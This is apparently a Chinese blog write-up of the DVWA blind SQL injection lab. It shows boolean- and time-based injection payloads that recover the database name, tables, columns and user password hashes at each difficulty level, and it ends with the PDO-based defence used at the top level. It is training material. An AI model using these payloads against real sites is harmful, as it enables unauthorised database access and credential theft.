DVWA-09-SQL injection(Blind)

目录

1.概念

2.实验

2.1 LOW

2.2 Medium

2.3 High

2.4 impossible


1.概念

SQL Injecton(Blind),即SQL盲注,上一节的SQL injection 可以直接从页面上看到注入后的执行结果,但有时候,我们不能从显示页面上获取执行结果以及语句是否执行。所以我们还需要掌握盲注的知识。

分类

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的盲注:rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错

步骤

  • 判断注入类型
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 猜解数据

常用函数

substr(string,pos,length) 截取字符串,str:字符串,pos:起始位置,len:截断长,默认截断到最后一位
count()  显示结果集的函数,参数是过滤所需要的的值
ASCII(character) 
character 必须。要返回ASCII值的字符。如果输入了多个字符,则只返回第一个字符的值
length()
left() 返回具有指定长度的字符串的左边部分; limit a,b 如,a=0,b=5,则检索记录1-5

2.实验

2.1 LOW

mysqli_nmu_rows($ result):返回结果集中行的数量

漏洞利用

先输入1,显示       

再输入1' or 1=1#     

再输入1' and 1=2#  

判断为字符型盲注类型。

1.对数据库长度猜解

1' and length(database())= 2 #     

1' and length(database())= 3 #     

1' and length(database())= 4 #       

2.acsii(),函数获取ascii,通过对照ascii来获取数据库名

打印型ascii对照表

可以才用二分法,加快盲注速度

1' and ascii(substr(database(),1,1))>97#

1' and ascii(substr(database(),1,1))<107#

说明在97和107之间存在数据库名中的第一个字母,我们接着缩小范围

1' and ascii(substr(database(),1,1))<100#

说明第一个字母大于等于100,我们接着写等于100

1' and ascii(substr(database(),1,1))=100#

对照ascii表,可以知道第一个字母为d

数据库中的其他数据可以使用同样的方法获得,不再赘述,逐步实验后,我们可以知道数据库的名为dvwa

2.猜表名

先来猜解表的个数count()

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

通过盲注结果,可以知道,有2个表

猜解表的长度 length()

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

我们一直试到9,才发现返回存在

说明第一个表的长度为9

采用同样的方法,测试出第二个表的长度为5
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=5 #

猜解表的名称

我们同样使用mysql 中的ascii()来进行

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<107 # 

显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # 

显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 

显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 

对比ascii,可以知道,表的第一个字母为g

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 #

按照这种方法,我们可以得知第一个表,与第二个表的名称为guestbookusers

比如第二个表的第一个数据的ascii值为

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))=117#

猜解表的字段名

  • 猜解表中字段的个数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=1 #

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

从1 试到8 发现,在8的时候,页面返回存在,说明有8个字段在users表中

  • 猜解users表中的各个字段的名称

有时候一个个猜解太耗时,我们可以猜解关键信息,如用户名,密码

常用用户名:username/user/user_name/uname/u_name/name/...

密码:password/pass_word/pwd/passwd/...

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 # 

页面显示不存在

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # 

页面显示存在

所以,user表中的用户名字段为user

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

说明,user表中的密码字段为password

猜解字段的值

  • 猜解长度
提交 页面返回
1' and length(substr((select user from users limit 0,1),1))>5 # MISSING
1' and length(substr((select user from users limit 0,1),1))>3 # exists
1' and length(substr((select user from users limit 0,1),1))=4 # MISSING
1' and length(substr((select user from users limit 0,1),1))=5 # exists

user 字段的第一个字段值字符长度为5

通过同样的方法,获得password字段第一个字段为字符长度为32,这么长,很可能是被MD5加密了

1' and length(substr((select password from users limit 0,1),1))=32 # 

  • 猜解值

user猜解

1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #

1' and ascii(substr((select user from users limit 0,1),n,1))=xxx #

#password猜解

1' and ascii(substr((select password from users limit 0,1),1,1))=xxx

1' and ascii(substr((select password from users limit 0,1),n,1))=xxx

2.2 Medium

看代码

mysqli_real_escape_string函数对特殊符号\x00,\n,\r,\,,,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入

我们可以使用时间盲注这次,因为被限制了,所以只能通过burpsuite来进行测试

先判断注入类型

输入1, 1 and 1=1 #  返回结果是exists,而输入' ,1' and 1=1 #,1' and 1=2 #均输出错误,所以判断为数字型

猜数据库名

使用if(条件,sleep(n),1)函数判断,若判断为真,则执行sleep(n)函数,n为延迟时间,若为假,则返回1

1 and if(length(database())=4,sleep(2),1) #2008 ms

1 and if(length(database())=5,sleep(2),1) #5 ms

1 and if(length(database())>10,sleep(2),1) #8 ms

从以上结果可以知道,数据库名的长度为4

1 and if(ascii(substr(database(),1,1))>96,sleep(2),1) #

1 and if(ascii(substr(database(),1,1))>101,sleep(2),1) #

1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) #

从实验结果可以知道,第一个字符的ASCII码为100

后续盲注方式相似

1 and if(ascii(substr(database(),n,1))=xxx,sleep(2),1) #

经过一系列盲注后,可以得到结果为dvwa

后续猜测表名,字段名,与LOW相似,对于带有特殊符号的,可以转换为16进制

如:

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

可以转换为:

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #

时间盲注的方式为:

1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

2.3 High

在代码中,我们可以看到,采取cookie的方式将id存储,还采用了页面分离的方式防止普通sql工具扫描,使用limit 1的方式,使得每次输出的结果只有1个记录,采用rand()函数,随机获取参数传入sleep()中。

漏洞利用:

1.对与limit的限制,可以采取#注释的方法

2.这里时间盲注被rand函数限制,可以采用布尔盲注,与low级别没有差别

2.4 impossible

is_numeric($id):用于检测变量是否为数字或字符串

可以看到最高级别的采用了PDO技术防止SQL注入;以及Anti-CSRF token结束防止csrf;暂时没有利用方法。

猜你喜欢

转载自blog.csdn.net/weixin_43198291/article/details/114383142